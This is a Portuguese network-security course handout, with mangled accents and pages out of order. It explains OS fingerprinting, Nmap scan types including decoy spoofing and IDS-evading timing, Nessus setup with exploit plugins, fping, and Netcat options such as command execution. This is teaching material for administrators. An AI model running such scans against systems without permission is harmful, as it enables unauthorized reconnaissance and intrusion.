ferramenta hping94) Outros ComandosBastile ele eacute um pacote de scripts utilizados para aumentar o niacutevel de seguranccedila do Linuxdesenvolvido para a distribuiccedilatildeo Red Hat com o pacote do Perl (Pratical Extraction and Report Language)deve ser uma das primeiras ferramentas a ser utilizada para proteger contra violaccedilotildees baacutesicas permitindoainda ativar e desativar opccedilotildees do sistema operacionalSATAN o aplicativo Security Administrators Tool for Analizing Network pode ser exectado emqualquer sistema Unix-Like e realiza dentre outras coisas a varredura de portas TCP varredura devulnerabilidades mais conhecidas oferece tutoriais que descrevem as vulnerabilidades e como explora-lasCOOPS Computer Oracle and Password System eacute um dos aplicativos utilizados para realizar

varredura do host local verificar o modo dos arquivos e as senhas faacuteceis No final de seu trabalho ele geraum relatoacuterio com a descriccedilatildeo e a accedilatildeo a ser tomada para resolver a violaccedilatildeoProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 69 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005Tripwire este aplicativo informa se jaacute houve alguma invasatildeo no sistema Ele eacute um analisador deintegridade de arquivos e diretoacuterios durante sua execuccedilatildeo ele compara as informaccedilotildees existentes nosistema de arquivo com os dados preacuteviamente coletados e armazenados no banco de dados Normalmentesua atividade eacute agendada pela CRON do sistema Apoacutes ser executado ele produz um relatoacuterio com aspossiacuteveis violaccedilotildees que o sistema possa ter sofrido Quando executado periodicamente permite quebrechas de seguranccedila possam ser descobertas o mais raacutepido possiacutevelPGP este eacute uma ferramenta multi plataforma que atraveacutes da criptografia simeacutetrica permite protegero conteuacutedo eou a integridade dos dados trocados Ao enviar uma mensagem ele pode utilizar a chavepuacuteblica do destinataacuterio de tal modo que somente quem possuir sua chave privada poderaacute decifar amensagem que lhe foi enviadaHpingIcmpenumIcmpqueryStrobeUdp_scanSiphonp0fCheopsIcmpinfonttcpProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 70 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005Referencias[1] Net Urubatam Dominando Linux Firewall Iptables[2] Linux Magazine Nuacutemero 4 Ano I paacutegina 32[3] Arkin Ofir ICMP Usage in Scanning Julho de 2000[4] Fping ndash httpwwwfpingcom[5] RFC 1812 Requiriments for IPv4 Routers httpwwwietforgrfcrfc1812txt[6] RFC793 - TRANSMISSION CONTROL PROTOCOL DARPA INTERNET PROGRAMPROTOCOL SPECIFICATION Defense Advanced Research Projects Agency September 1981[7] IANA List of assigned ports ftpftpisieduin-notesianaassignmentsport-numbers

[8] Fyodor Remote OS derection via TCPIP Stack FingerPrinting 18 de Outubro de 1998[9] Arkin Ofir ICMP Usage in Scanning The Complete Know-How Versatildeo 30 Junho de 2001[10]Arkin Ofir e Yarochkin Fyodor X remote ICMP based OS Fingerprinting techniques Agosto de2001[11] Arkin Ofir A remote active OS fingerprinting tool using ICMP Abril de 2002[12] Arkin Ofir e Yarochkin Fyodor The Present and Future of Xprobe2 The Next Generation ofActive Operation System Fingerprinting julho de 2003[13] Cid Daniel B Identificaccedilatildeo Passiva de Sistemas Operacionais Maio de 2003[14] Nazario Jose Passive System Fingerprinting using Networking Client Applications 27 deNovembro de 2000[15] Smith Craing Know Your Enemy Passive Fingerprinting - Identifing remote hosts without thenkhnowing 4 de Marccedilo de 2002Prof Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 71 de 71

Page 39: Curso de segurança em linux e redes em geral

mapeando o resultado dentro de um banco de dados eacute possiacutevel utilizar estes dados para a verificaccedilatildeo dosistema operacional de outros noacutesO fingerprinting de um noacute pode ser coletado de forma Ativa atraveacutes do envio de pacotes ao noacutealvo e da anaacutelise do pacotes recebidos e de forma Passiva pela anaacutelise de pacotes pertencentes aconexotildees jaacute estabelecidas e coletados diretamente pela interface de redeProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 46 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005831) Coleta ativa do fingerprintingA coleta ativa do fingerprinting consiste no envio de pacotes preacuteviamente formatados para o noacutealvo e na anaacutelise de campos especiacuteficos dos pacotes recebidos como resposta Neste tipo de coleta ainterface de rede natildeo necessita ser colocada em modo promiacutescuoO fingerprinting ativo possui um elevado niacutevel de exatidatildeo mas falha quando as caracteriacutesticasda pilha TCPIP satildeo alteradas pelo seu administrador Isto normalmente ocorre quando o administradorrealiza otimizaccedilotildees no noacute ou quando ele implementa uma poliacutetica baseada em obscuridade na qual ofingerprinting eacute alterado para forjar um outro sistema operacionalA coleta ativa da impressatildeo digital de um noacute pode ser realizada atraveacutes de vaacuterias anaacutelises simplestais comoSonda FIN segundo a RFC973 quando uma porta aberta recebe um pacote FIN natildeo deveresponder entretanto algumas pilhas TCPIP como eacute o caso da pilha do Windows NT responde com umamensagem FINACK Sonda de Flag Falso consiste no envio de um pacote SYN com o flag indefinido configuradocomo 1 dependendo do sistema operacional Este pacote pode ser respondido atraveacutes de um pacotecom o mesmo flag setado em 1 Este procedimento eacute implementado pelo Linux e por outros sistemasUnix Like Bit natildeo Fragmentar para permitir um melhor desempenho do protocolo TCPIP alguns sistemaoperacionais setam este campo com o valor 1 e outros como eacute o caso do Solaris natildeo permitem o seuusoTamanho da Janela TCP o tamanho deste campo eacute normalmente dependente do sistemaoperacional Por exemplo o AIX eacute o uacutenico sistema operacional a utilizar o valor Ox3F25 para este campoNumero Sequumlencial do ACK esta teacutecnica consiste em observar o valor do nuacutemero sequumlencial do

pacote ACK Alguns sistemas respondem ao pacote com o mesmo nuacutemero sequumlencial daquele que ooriginou outros incrementam este valor em uma unidade antes de respondecirc-loLimitaccedilatildeo das Mensagem de Erro ICMP alguns sistemas operacionais seguindo asrecomendaccedilotildees da RFC1812 limitam a taxa de envio das mensagens de erro ICMP a um determinado valorpor intervalo de tempo Sendo este valor padronizado basta enviar vaacuterios pacotes UDP agrave uma portafechada e aguaradar a mensagem ICMP port unreachable Esta teacutecnica normalmente natildeo eacute muitoProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 47 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005utilizada pois torna a coleta do fingerprinting lenta Tipo de Serviccedilo (TOS) a maioria dos sistema operacionais setam este campo para zero (0)quando enviam uma mensagem ICMP port unreachable apesar de alguns sistemas operacionais utilizamvalores diferentesOpccedilotildees do TCP as opccedilotildees baacutesicas do protocolo TCP satildeo determinadas pela RFC793 e pelaRFC1323 jaacute as opccedilotildees avanccediladas satildeo definidas pela RFC1323 Realizando o envio de vaacuterios pacotes comvalores especiacuteficos nestes campos e analisando a resposta pode-se supor o sistema operacional ativovisto que nem todos os sistemas implementam todas as opccedilotildees descritas nestas RCFs Existem ainda outras teacutecnicas que natildeo se utilizam de pacotes TCP ou UDP ao inveacutes disto fazemuso de mensagens de ICMP Estas teacutecnicas foram utilizadas por Ofir Arkin na construccedilatildeo da ferramentaXprobe 832) Coleta passiva do fingerprintingA coleta passiva consiste na captura de pacotes pertencentes agraves conexotildees ativas por um snifferSniffers satildeo utilitaacuterios de rede que operam em modo promiacutescuo e permitem a coleta dos dados dasconexotildees de outras estaccedilotildees de trabalho sem que ocorra a alteraccedilatildeo da mesma ou que a accedilatildeo sejadetectada e da anaacutelise dos mesmos Esta coleta necessita que a interface de rede esteja operando emmodo promiacutescuo No modo promiacutescuo todo o traacutefego de dados pode ser capturado por uma interface derede independentemente do endereccedilo de destino natildeo gerando assim traacutefego na redeO fingerprinting passivo possui a grande de vantagem ser indetectaacutevel pelo noacute alvo Por outro ladocaso existam pacotes forjados circulando pela rede a coleta passiva pode ser induzida a determinar de

forma errocircnea o sistema operacional de alguns noacutesA anaacutelise dos pacotes coletados pela interface de rede tem por finalidade determinar asidiossincrasias nas implementaccedilotildees das pilhas TCPIP de cada sistema operacionalOs principais campos utilizados para identificar o sistema operacional de um noacute satildeo o TTL oWindows Size o DF e o TOS pois possuem valores tabelados de acordo com o sistema operacional esua versatildeoDurante uma anaacutelise o primeiro campo verificado eacute o campo TTL Quando o valor deste campo eacuteigual agrave 64 o pacote provavelmente pertence a um noacute com Linux ou FreeBSDProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 48 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005O segundo campo analisado eacute o Windows Size que normalmente possui valor igual a 0x7D78quando a maacutequina possui uma versatildeo do Windows ou do Linux instalado O terceiro campo verificado eacute oflag DF que indica se o pacotes estaacute fragmentado ou natildeo Poucos satildeo os sistemas que setam este bitcomo zero mas o SCO e o OpenBSD utilizam este padratildeo O ultimo campo verificado eacute o TOS que namaioria das mensagem estaacute setado para zeroPor exemplo suponha que um dos pacotes capturados pelo sniffer apresente as caracteriacutesticasabaixo Cruzando os dados coletados com as informaccedilotildees acima pode-se concluir que o noacute provavelmenteroda uma versatildeo do Kernel do LinuxTTL 64Window Size 0x7D78DF bit 1TOS 0x0Outros campos tambeacutem podem ser utilizados na detecccedilatildeo do sistema operacional de forma passivamas softwares como o Siphon p0f e o Cheops utilizam somente estes quatro campos para gerar everificar as assinaturas dos sistemas operacionaisProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 49 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 20059)Kit de FerramentasAs proacuteximas sessotildees apresentam algumas ferramentas comumente utilizadas por administradoresno processo de verificaccedilao do niacutevel de seguranccedila de seus ambientes91) NmapO Nmap fornece de uma maneira geral a relaccedilatildeo de computadores e serviccedilos ativos Existem

diversas formas e paracircmetros a serem informados durante uma varredura Para obter o coacutedigo fonte eacute soacuteacessar o link abaixo e procurar por ldquoLatest Stable Version Tarballrdquohttpwwwinsecureorgnmap_downloadhtmlEste aplicativo possui os seguintes meacutetodos de varredura-sP ou Ping scan Algumas vezes eacute necessaacuterio saber se um determinado host ou rede estaacuteno ar Nmap pode enviar pacotes ICMP ldquoecho requestrdquo para verificar se determinado hostou rede estaacute ativa Hoje em dia existem muitos filtros que rejeitam os pacotes ICMPldquoecho requestrdquo entatildeo envia um pacote TCP ACK para a porta 80 (default) e caso recebaRST o alvo estaacute ativo A terceira teacutecnica envia um pacote SYN e espera um RST ouSYN-ACK-sR ou RCP scan Este meacutetodo trabalha em conjunto com vaacuterias teacutecnicas do Nmap Eleconsidera todas as portas TCP e UDP abertas e envia comandos NULL SunRPC paradeterminar se realmente satildeo portas RPC Eacute como se o comando ldquorpcinfo -prdquo estivessesendo utilizado mesmo atraveacutes de um firewall ( ou protegido por TCP wrappers )-sS ou TCP SYN scan Teacutecnica tambeacutem conhecida como ldquohalf-openrdquo pois natildeo abre umaconexatildeo TCP completa Eacute enviado um pacote SYN como se ele fosse uma conexatildeo reale aguarda uma resposta Caso um pacote SYN-ACK seja recebido a porta estaacute abertaenquanto um como resposta indica que a porta estaacute fechada A vantagem dessaabordagem eacute que poucos iratildeo detectar esse scanning de portas-sT ou TCP connect() scan Eacute a teacutecnica mais baacutesica de TCP scanning Eacute utilizada a chamadade sistema (system call) ldquoconnect()rdquo que envia um sinal as portas ativas Caso a portaProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 50 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005esteja aberta recebe como resposta ldquoconnect()rdquo Eacute um dos scan mais raacutepidos poreacutemfaacutecil de ser detectado-sU ou UDP scan Este meacutetodo eacute utilizado para determinar qual porta UDP estaacute aberta em umhost A teacutecnica consiste em enviar um pacote UDP de 0 byte para cada porta do host Sefor recebido uma mensagem ICMP ldquoport unreachablerdquo entatildeo a porta estaacute fechada senatildeo

a porta pode estar aberta Para variar um pouco a Microsoft ignorou a sugestatildeo da RFCe com isso a varredura de maacutequinas Windows eacute muito raacutepida-sV ou Version detection Apoacutes as portas TCP eou UDP serem descobertas por algum dosmeacutetodos o nmap iraacute determinar qual o serviccedilo estaacute rodando atualmente O arquivonmap-service-probes eacute utilizado para determinar tipos de protocolos nome da aplicaccedilatildeonuacutemero da versatildeo e outros detalhes-sF -sX -sN ou Stealth FIN Xmas Tree ou Null Alguns firewalls e filtros de pacotes detectampacotes SYNs em portas restritas entatildeo eacute necessaacuterio utilizar meacutetodos avanccedilados paraatravessar esses softwaresFIN Portas fechadas enviam um pacote RST como resposta a pacotes FIN enquantoportas abertas ignoram esses pacotes (Esse meacutetodo natildeo funciona com a plataforma Windowsuma vez que a Microsoft natildeo seguiu RFC 973)Xmas Tree Portas fechadas enviam um pacote RST como resposta a pacotes FINenquanto portas abertas ignoram esses pacotes As flags FIN URG e PUSH satildeo utilizados nopacotes FIN que eacute enviado ao alvo (Esse meacutetodo natildeo funciona com a plataforma Windows umavez que a Microsoft natildeo seguiu RFC 973)Null Portas fechadas enviam um pacote RST como resposta a pacotes FIN enquantoportas abertas ignoram esses pacotes Nenhuma flag eacute ligada no pacote FIN (Esse meacutetodo natildeofunciona com a plataforma Windows uma vez que a Microsoft natildeo seguiu RFC 973)Aleacutem destas o nmap possui outras opccedilotildees de uso geral das quais podemos destacar-D ltdecoy1 [decoy2][VOCE]gt Durante uma varredura utiliza uma seacuterie de endereccedilosfalsificados simulando que o scanning tenha originado desses vaacuterios hosts sendo praticamenteimpossiacutevel identifiicar a verdadeira origem da varreduranmap -D IP1IP2IP3IP4IP6SEU_IP alvoProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 51 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005-F Procura pelas portas que estatildeo no etcservices Meacutetodo mais raacutepido poreacutem natildeoprocurar por todas as portasnmap -F alvo-I Se o host estiver utilizando o ident eacute possiacutevel identificar o dono dos serviccedilos que estatildeo

sendo executados no servidor (trabalha com a opccedilatildeo -sT)nmap -sT -I alvo-n Natildeo iraacute resolver nome de hosts a ser varridonmap -n alvo-O Ativa a identificaccedilatildeo do host remoto via TCPIP Iraacute apresentar versatildeo do SistemaOperacional e tempo ativonmap -O alvo-p ltlista_de_portasgt Especifica quais portas devem ser verificadas na varredura Pordefault todas as portas entre 1 e 1024 satildeo varridasnmap -p 2280 alvonmap -p U53111137T21-25801398080-P0 Natildeo tenta pingar o host antes de iniciar a varredura Isto permite varrer alvos quebloqueiam ICMP ldquoecho request (ou responses)rdquo atraveacutes de firewallnmap -P0 alvo-PS[lista_de_portas] Usa pacotes SYN para determinar se o host estaacute ativonmap -PS80 alvo-PT[lista_de_portas] Usa TCP ldquopingrdquo para determinar se o host estaacute ativonmap -PT80 alvo-R Iraacute resolver nome de hosts a ser varridonmap -R80 alvoProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 52 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005-r A varredura seraacute feita nas portas randomicamente natildeo seguinte a ordem crescentenmap -r alvo-T ltParanoid|Sneaky|Polite|Normal|Aggressive|InsanegtEsse paracircmetro seta a prioridade de varredura do Nmap1048576 Paranoid (-T5) eacute muito lento na esperanccedila de prevenir a detecccedilatildeo pelo sistema IDSEste serializa todos os scans (scanning natildeo paralelo) e geralmente espera nomiacutenimo 5 minutos entre o envio de pacotes1048576 Sneaky (-T4) eacute similar ao Paranoid exceto que somente espera 15 segundos entre oenvio de pacotes1048576 Polite (-T3) tem o significado para facilitar a carga na rede e reduzir as chances detravar a maacutequina Ele serializa os testes e espera no miacutenimo 04 segundos entre eles1048576 Normal (-T2) eacute o comportamento default do Nmap o qual tenta executar tatildeo raacutepidoquanto possiacutevel sem sobrecarregar a rede ou perder hostsportas1048576 Aggressive(-T1) esse modo adiciona um timeout de 5 minutos por host e nuncaespera mais que 125 segundos para testar as respostas1048576 Insane (-T0) eacute somente adequando para redes muito raacutepidas ou onde vocecirc natildeo

se importa em perder algumas informaccedilotildees Nesta opccedilatildeo o timeout dos hostsacontecem em 75 segundos e espera somente 03 segundos por teste individual-ttl ltvalorgt Altera o valor do TTL (Time to Live) dessa forma dificulta a origem dopacotenmap -ttl 55 alvo-v Modo verbose Mostra tudo o que estaacute se passandonmap -v alvoProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 53 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005Para facilitar o processo de aprendizagem seguem alguns exemplo e utilizaccedilatildeonmap -v alvoEsta opccedilatildeo faz a varredura de todas as portas TCP reservadasnmap -sS -O alvoLanccedila uma varredura TCP Syn contra cada maacutequina que estaacute ativa abrangendo todasas 255 maacutequinas de classe ldquoCrdquo onde alvo faz parte Aleacutem disso determina o sistemaoperacional de cada hostnmap -sX -p 2253110143 alvoEnvia uma varredura Xmas Tree para o alvo aleacutem de varrer somente os serviccedilos desshd Dns pop3d e imapdProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 54 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 200592) NessusNessus eacute uma ferramenta para auditoria de seguranccedila Com ele eacute possiacutevel verificar variasvulnerabilidades em sua rede O nessus permite que se faccedila isso de uma forma segura nao permitindo queusuaacuterios natildeo autorizados possam scanear sua rede com ele Ele eacute composto por duas partes sendo umcliente e um servidor Pode-se usaacute-lo a partir do windowscopy poreacutem isso natildeo seraacute abordado nesse artigoEle possui uma seacuterie de recursos bastante interessantes como trabalhar em conjunto com o nmap etambeacutem a possibilidade de atualizaccedilatildeo apenas baixando novos plugins de ataques eou vulnerabilidades ONessus foi criado em 1998 por Renaud Deraison sendo que naquela eacutepoca o melhor security scanner era oSATAN ( que se encontrava bastante desatualizado ) Deraison resolveu dividir o sistema em pluginsfacilitando muito a atualizaccedilatildeo e a prevenccedilatildeo contra novos ataques A partir da versatildeo 100 foi criado umscript que automaticamente atualiza o plugins para que o nessus possa detectar uma nova vulnerabilidade eassim sugerir uma forma ou explicaccedilatildeo para corrigi-la

O nessus possui uma GUI muito flexiacutevel onde vocecirc configura vaacuterios detalhes de varredura na suarede Nela pode-se configurar quais plugins( ataques ) usar e os hosts(targets) que seratildeo scanneadosPrimeiramente rode o nessus cliente bastando para isso digitar nessus na linha de comando Ele pediraacuteentao a senha que vocecirc configurou inicialmente Vamos abordar agora quais satildeo as opccedilotildees deconfiguraccedilatildeo do cliente nessusNessus host nesta aba de configuraccedilatildeo vocecirc deve especificar o endereccedilo ip do daemon nessus etambeacutem a porta tcp em que ele estaacute rodando (geralmente 1241) Nesta tela tambeacutem eacute possiacutevel optar peloalgoritmo de criptografia que seraacute usado Tambeacutem eacute preciso especificar o nome do usuaacuterio para logar nodaemonPlugins Aqui reside todo o poder do nessus nesta aba se encontram as exploraccedilotildees (exploits) dasvulnerabilidades conhecidas em forma de plugins O nessus se vale destes plugins para avaliar asvulnerabilidades do sistema scanneadoPrefs Satildeo especificados valores como usuaacuterios e senhas de serviccedilos como ftp pop imap e smbDe porte desses dados o nessus pode fazer verificaccedilotildees muito mais eficitentes nos seus hosts jaacute quealguns exploits pressupotildeem que o explorador possui uma conta vaacutelida de algum desses serviccedilos Tambeacutemeacute possiacutevel configurar o tipo de scan que seraacute usado pelo nmap ( caso possua )Scan Option -gt Aqui pode-se especificar as portas que seratildeo scaneadas pelo nessus use virgulapara portas individuais e hiacutefen para intervalos(80110443-1024) No caso de utilizar o nessus para scanearservidores web eacute bastante interessante especificar o path ou caminho dos CGIs no seu servidor PorProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 55 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005exemplo se vocecirc especificar o path cgi-bin para o nessus procuraraacute por CGIs exploitaacuteveis emhttphostcgi-binTarget Selection Preencha o uacutenico campo desta aba para especificar as maacutequinas que seratildeoscaneadas Clicando no botatildeo Read file vocecirc especifica um arquivo onde estatildeo o endereccedilos IP dasmaacutequinas a serem verificadasUser Aqui estatildeo suas informacotildees pessoais como a chave que deve ser usada e tambeacutem pode-setrocar a sua senha do nessusAbaixo temos as principais telas deste aplicativo( Aba Host) (Aba Plugins)

Prof Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 56 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005( Aba Perfs) (Aba Scan Options)( Aba Target Selection) (Aba KB)Prof Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 57 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005921)Iniciando a inspeccedilatildeo na sua redeAssim que vocecirc iniciar o nessus lhe seraacute solicitado a senha A primeira tela que iraacute surgir eacute a nessushost nesta tela se encontram aleacutem da opccedilotildees citadas acima o botatildeo de login clicando nele vocecirc ja poderaacuteconfigurar os plugins que seratildeo utilizados Agora na aba Plugins vocecirc escolhe quais ataques eexploraccedilotildees deveratildeo ser aplicadas aos seus alvos Como jaacute foi citado este eacute um dos maiores diferenciais donessus os plugins estatildeo separados por categorias e cada um deles possui um texto explicando o queaquele exploit faz e tambeacutem o grau de risco bem como resolver o problema caso esta vulnerabilidade sejaencontrada Caso alvos sejam maacutequinas que estatildeo em produccedilatildeo natildeo aconselho usar utilizar o plugins deDoS e nem aqules que possuem um sinal de alerta ao lado assim evitamos surpresas Se os alvosestiverem abertos para internet eacute importante marcar ao menos as seguintes categorias Gain ShellRemotely Gain Root Remotely Backdoors Remote File Access Cabe a vocecirc analisar quais pluginsdeveratildeo ser utilizados na varredura caso sua rede seja composta apenas por sistemas NIX natildeo existe amenor necessidade de utilizar os plugins referentes a Wingate por exemploApoacutes escolher os plugins mais adequandos a sua rede vamos escolher quais hosts seratildeoscaneados Clique na aba Target Selection e especifique as maacutequinas que deseja scanear ( todas elasdevem estar com o nessusd rodando ) Como mencionado acima vocecirc deve colocar os alvos(targets)separados por viacutergula ou especificar um arquivo de onde onde o nessus iraacute ler os alvosCom tudo configurado(geralmente natildeo eacute preciso mudar muita coisa) vocecirc pode iniciar a varreduraem sua rede para isto clique no botatildeo Start the scan Agora o nessus iraacute varrer sua rede isso podedemorar um pouco conforme a velocidade da rede e quantidade de plugins que vocecirc selecionouFeito a varredura podemos verificar a falhas de seguranccedila e as recomendaccedilotildees do nessus para asvulnerabilidades encontradas Na tela Nessus Report vocecirc vecirc os hosts scaneados a esquerda e as

vulnerabilidades encontradas em cada um deles aacute direita Clicando no sinal de + sobre as vulnerabilidadestem-se a explicaccedilatildeo do problema e tambeacutem como proceder para corrigi-lo Para uma futura referecircncia podesetambeacutem exportar o relatoacuterio basta escolher o formato e clicar em Save as recomendo escolher aopcatildeo Save as HTML with pies an graphs com isso nessus iraacute salvar os resultados na pasta que vocecircescolher e tambeacutem geraraacute graacuteficos sobre as vulnerabilidades de sua rede juntamente com o tradicionalrelatoacuterio em HTMLPara realizar a atualizaccedilatildeo de seus plugins o nessus possui um script que para funcionar necessitaque se esteja conectado na internet Para executa-lo rode o seguinte comandonessus-update-plugins -vProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 58 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005Com a opccedilatildeo -v seratildeo exibidos os plugins que estatildeo sendo baixados Este script natildeo possuinenhuma forma para verificar a integridade dos plugins baixadospor isso use-o com cautela( leia amanpage deste script para maiores detalhes)93) FpingO fping eacute um programa que assim como ping utiliza o protocolo ICMP (_____

__ ________________________________ _________) para determinar se um ou vaacuterios noacutes da rede estatildeo ativos mas ao contraacuterio do ping ele permiterealizar a verificaccedilatildeo de vaacuterios noacutes ao mesmo tempo o endereccedilo dos noacutes pode ser passado via linha decomando ou atraveacutes de um arquivo textoO fping ao receber uma confirmaccedilatildeo de atividade automaticamente envia um aviso de atividade eexclui o host da lista de verificaccedilatildeo mas quando um noacute natildeo responde em no periacuteodo preacute determinado ele eacutetido como desligado ou natildeo alcanccedilaacutevelEste comando vem sendo largamente utilizado em cript devido seu baixo tempo de resposta e suasaiacuteda ser de faacutecil manipulaccedilatildeoEste comando aceita os seguintes paracircmetros-a lista somente aqueles noacutes que estatildeo ativos-A mostra o endereccedilo do noacute ao inveacutes do seu nome de domiacutenio-c informa quanto pacotes devem ser enviados para cada host-C assim como o anterior mas este informa no final o tempo de resposta em milisegundosde cada pacote-e mostra o tempo decorrido ateacute o recebimento do pacote de verificaccedilatildeo-i tempo miacutenimo em milisegundos entre o envio de dois pacotes a qualquer host da rede-l loop envia pacotes indefinidamente

-n utiliza o nome de domiacutenio do host na saiacuteda do comando-r nuacutemero de tentativas de alcanccedilar o host-u mostra somente os host que natildeo foram alcanccediladosProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 59 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005ExemplosInforma o estado das maacutequinas utilizando o nome de domiacutenio delas como pode serobservado logo abaixofping -n 1461643265 1461643267 1461643275 14616432100 1461643267nsravelufrjbr is alivemailhostravelufrjbr is alivegw-etherravelufrjbr is alivemailhostravelufrjbr is alivewebsecravelufrjbr is unreachableInforma somente o nome das maacutequinas que estatildeo ativas como vemos abaixofping -na 1461643265 1461643267 1461643275 14616432100 1461643267nsravelufrjbrmailhostravelufrjbrgw-etherravelufrjbrmailhostravelufrjbrInforma somente o nome das maacutequinas que natildeo podem ser encontradas como podeser observado logo abaixofping -nu 1461643265 1461643267 1461643275 14616432100 1461643267websecravelufrjbrEnvia apenas dois pacotes para cada host e no final informa a taxa de pacotesenviados recebidos e perdidos como pode ser observado logo abaixofping -q -n -c 2 1461643265 1461643267 1461643275 1461643210014616432101nsravelufrjbr xmtrcvloss = 220 minavgmax = 500518537mailhostravelufrjbr xmtrcvloss = 220 minavgmax = 455473491websecravelufrjbr xmtrcvloss = 20100gw-etherravelufrjbr xmtrcvloss = 220 minavgmax = 51352553714616432101 xmtrcvloss = 550 minavgmax = 498586769Envia apenas cinco pacotes para cada host e no final informa o tempo de resposta decada um como pode ser observado logo abaixofping -q -n -C 5 1461643265 1461643267 1461643275 1461643210014616432101nsravelufrjbr 4902 5094 5203 5056 4667mailhostravelufrjbr 5294 5122 5260 4890 5056websecravelufrjbr - - - - -gw-etherravelufrjbr 4793 5404 5097 4785 494614616432101 6843 5201 5929 5331 7458

Prof Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 60 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005Informa o tempo de resposta de cada host informando o seu endereccedilo ip ao inveacutes doseu nome de domiacutenio como pode ser observado logo abaixofping -A -e protheusravelufrjbr websecravelufrjbr wwwyahoocombrwwwgmailcom1461643267 is alive (533 ms)200152161113 is alive (459 ms)64233171107 is alive (534 ms)1461643275 is unreachable93) NetcatNetcat eacute uma ferramenta usada para ler e escrever dados em conexotildees de rede usando o protocoloTCPIP Dada sua grande versatilidade o NetCat eacute considerado pelos hackers o canivete suiacuteccedilo do TCPIPpodendo ser usado para fazer desde portscans ateacute brute force attacksO nome netcat vem do comando cat do LinuxUnix O cat concatena arquivos e envia para a saiacutedapadratildeo (stdout) O netcat faz praticamente o mesmo poreacutem ao inveacutes de concatenar arquivos o netcatconcatena sockets TCP e UDP931) Opccedilotildees do Netcat-e comando Executa o comando especificado usando como entrada (stdin) os dados recebidospela rede e enviando os dados de saiacuteda (stdout e stderr) para a rede Essa opccedilatildeo somente estaraacute presentese o nc for compilado com a opccedilatildeo GAPING_SECURITY_HOLE jaacute que permite que usuaacuterios disponibilizemprogramas para qualquer um conectado a rede-i Especifica o intervalo de tempo no qual as linhas de texto seratildeo enviadas ou recebidas-l Coloca no netcat em estado de escuta (listening)-L Coloca no netcat em estado de escuta (listening) reiniciando o netcat com a mesma linha decomando caso a conexatildeo feche-n Forccedila o netcat a usar apenas endereccedilos de IP numeacutericos sem fazer consultas a servidoresDNS-o filename Usando para obter um log dos dados de entrada ou saiacuteda em formato hexadecimal-p Especifica a porta a ser usada sujeito a disponibilidade e a restriccedilotildees de privileacutegioProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 61 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005-r Faz as portas do portscan serem escolhidas aleatoriamente-s Especifica o endereccedilo IP da interface usada para enviar os pacotes Pode ser usado para

